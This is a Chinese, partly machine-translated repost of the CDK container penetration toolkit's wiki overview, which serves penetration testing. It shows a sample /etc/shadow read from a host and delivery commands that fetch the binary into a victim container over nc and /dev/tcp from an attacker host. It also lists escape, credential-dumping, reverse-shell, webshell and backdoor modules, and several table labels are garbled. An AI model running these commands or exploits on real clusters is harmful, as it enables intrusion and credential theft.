https://github.com/cdk-team/CDK/wiki/CDK-Home-CN
概述
CDK 是一个开源的容器渗透工具包,旨在在不依赖任何操作系统的情况下在不同的精简容器中提供稳定的利用。它带有有用的网络工具和许多强大的 PoCs/EXPs,可以帮助你轻松地逃离容器并接管 K8s 集群。
快速开始
运行cdk eva
以获取评估信息和推荐利用,然后运行cdk run
以开始攻击。
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
安装/交付
在https://github.com/cdk-team/CDK/releases/下载最新版本
将可执行文件放入目标容器并开始测试。
TIPS:在实际渗透测试中将 CDK 交付到目标容器中
如果你有一个可以上传文件的漏洞,那么你可以直接上传 CDK 二进制文件。
如果你有RCE exploit,但是目标容器没有curl
or wget
,你可以使用下面的方式下发CDK:
- 首先,使用公共 IP 在您的主机上托管 CDK 二进制文件。
(on your host)
nc -lvp 999 < cdk
- 在受害者容器内执行
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk
用法
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Auto Escape:
cdk auto-escape <cmd> Escape container in different ways then let target execute <cmd>.
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
特征
CDK具有三个模块:
- 评估:收集容器内部的信息以发现潜在的弱点。
- 漏洞利用:用于容器逃逸、持久化和横向移动
- 工具:用于 TCP/HTTP 请求、隧道和 K8s 集群管理的网络工具和 API。
评估模块
用法
cdk evaluate [--full]
此命令将在不扫描本地文件的情况下运行以下脚本,用于--full
启用所有。
策略 | 脚本 | 支持的 | 用法/示例 |
---|---|---|---|
信息收集 | 操作系统基本信息 | ✔ | 关联 |
信息收集 | 可用功能 | ✔ | 关联 |
信息收集 | 可用的 Linux 命令 | ✔ | 关联 |
信息收集 | 坐骑 | ✔ | 关联 |
信息收集 | 网络命名空间 | ✔ | 关联 |
信息收集 | 敏感环境 | ✔ | 关联 |
信息收集 | 敏感工艺 | ✔ | 关联 |
信息收集 | 敏感的本地文件 | ✔ | 关联 |
信息收集 | Kube-proxy 路由 Localnet(CVE-2020-8558) | ✔ | 关联 |
信息收集 | 基于 DNS 的服务发现 | ✔ | 关联 |
发现 | K8s API 服务器信息 | ✔ | 关联 |
发现 | K8s服务-账号信息 | ✔ | 关联 |
发现 | 云提供商元数据 API | ✔ | 关联 |
漏洞利用模块
列出所有可用的漏洞:
cdk run --list
运行有针对性的利用:
cdk run <script-name> [options]
战术 | 技术 | CDK 漏洞名称 | 支持的 | 在薄 | 文档 |
---|---|---|---|---|---|
逃离 | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
逃离 | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | 关联 | |
逃离 | docker.sock PoC(DIND 攻击) | docker-袜子检查 | ✔ | ✔ | 关联 |
逃离 | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | 关联 |
逃离 | Docker API(2375) RCE | docker-api-pwn | ✔ | ✔ | 关联 |
逃离 | 设备挂载转义 | 挂载盘 | ✔ | ✔ | 关联 |
逃离 | LXCFS 转义 | lxcfs-rw | ✔ | ✔ | 关联 |
逃离 | Cgroup 逃逸 | 挂载-cgroup | ✔ | ✔ | 关联 |
逃离 | 滥用非特权用户命名空间转义 CVE-2022-0492 | 滥用非隐私用户 | ✔ | ✔ | 关联 |
逃离 | 过程逃逸 | 挂载过程 | ✔ | ✔ | 关联 |
逃离 | Ptrace 逃避 PoC | 检查跟踪 | ✔ | ✔ | 关联 |
逃离 | 重写 Cgroup(devices.allow) | 重写-cgroup-设备 | ✔ | ✔ | 关联 |
逃离 | 从主机系统读取任意文件 (CAP_DAC_READ_SEARCH) | cap-dac-读取搜索 | ✔ | ✔ | 关联 |
发现 | K8s 组件探针 | 服务探针 | ✔ | ✔ | 关联 |
发现 | 转储 Istio Sidecar 元数据 | istio检查 | ✔ | ✔ | 关联 |
发现 | 转储 K8s Pod 安全策略 | k8s-psp-转储 | ✔ | 关联 | |
遥控 | 反壳 | 反壳 | ✔ | ✔ | 关联 |
遥控 | Kubelet 执行程序 | kubelet-exec | ✔ | ✔ | |
凭据访问 | 注册表暴力破解 | 注册表暴力 | ✔ | ✔ | 关联 |
凭据访问 | 访问密钥扫描 | 漏电 | ✔ | ✔ | 关联 |
凭据访问 | Etcd 获取 K8s Token | etcd-获取-k8s-token | ✔ | ✔ | |
凭据访问 | 转储 K8s 秘密 | k8s-秘密转储 | ✔ | ✔ | 关联 |
凭据访问 | 转储 K8s 配置 | k8s-configmap-转储 | ✔ | ✔ | 关联 |
特权升级 | K8s RBAC 绕过 | k8s-获取-sa-token | ✔ | ✔ | 关联 |
坚持 | 部署 WebShell | webshell部署 | ✔ | ✔ | 关联 |
坚持 | 部署后门 Pod | k8s-backdoor-daemonset | ✔ | ✔ | 关联 |
坚持 | 部署 Shadow K8s api-server | k8s-影子-apiserver | ✔ | 关联 | |
坚持 | K8s 中间人攻击 (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | 关联 |
坚持 | 部署 K8s CronJob | k8s-cronjob | ✔ | ✔ | 关联 |
关于 Thin 的注意事项:thin 版本是为短期容器 shell(例如无服务器功能)准备的。我们在源代码中添加了构建标签并减少了一些漏洞利用以使二进制文件更轻。这个 2MB 的文件包含 90% 的 CDK 功能,您还可以从 CDK 源代码中获取有用的漏洞来构建您自己的轻量级二进制文件。
工具模块
像在 Linux 中一样运行命令,输入参数略有不同,请参阅用法链接。
cdk nc [options]
cdk ps
命令 | 描述 | 支持的 | 用法/示例 |
---|---|---|---|
数控 | 隧道 | ✔ | 关联 |
附言 | 处理信息 | ✔ | 关联 |
配置文件 | 网络信息 | ✔ | 关联 |
六 | 编辑文件 | ✔ | 关联 |
等 | 未经授权的 ectd 密钥枚举 | ✔ | |
卷曲 | 请求 K8s api-server | ✔ | 关联 |
卷曲 | 请求 Docker HTTP API | ✔ | 关联 |
ucurl | 请求 Docker Unix 套接字 | ✔ | 关联 |
卷曲 | 请求 Docker Registry API | ||
探测 | IP/端口扫描 | ✔ | 关联 |
发布文件
如果你想知道我们是怎么发布新版本的,thin是怎么产生的,为什么我们提供upx版本,all,normal,thin,upx不同版本有什么区别,如何选择具体的CDK exploit和工具来编译自己发布,请查看发布文档。
标签:容器,K8s,--,工具包,cdk,逃离,CDK,关联 From: https://www.cnblogs.com/websec80/p/17417688.html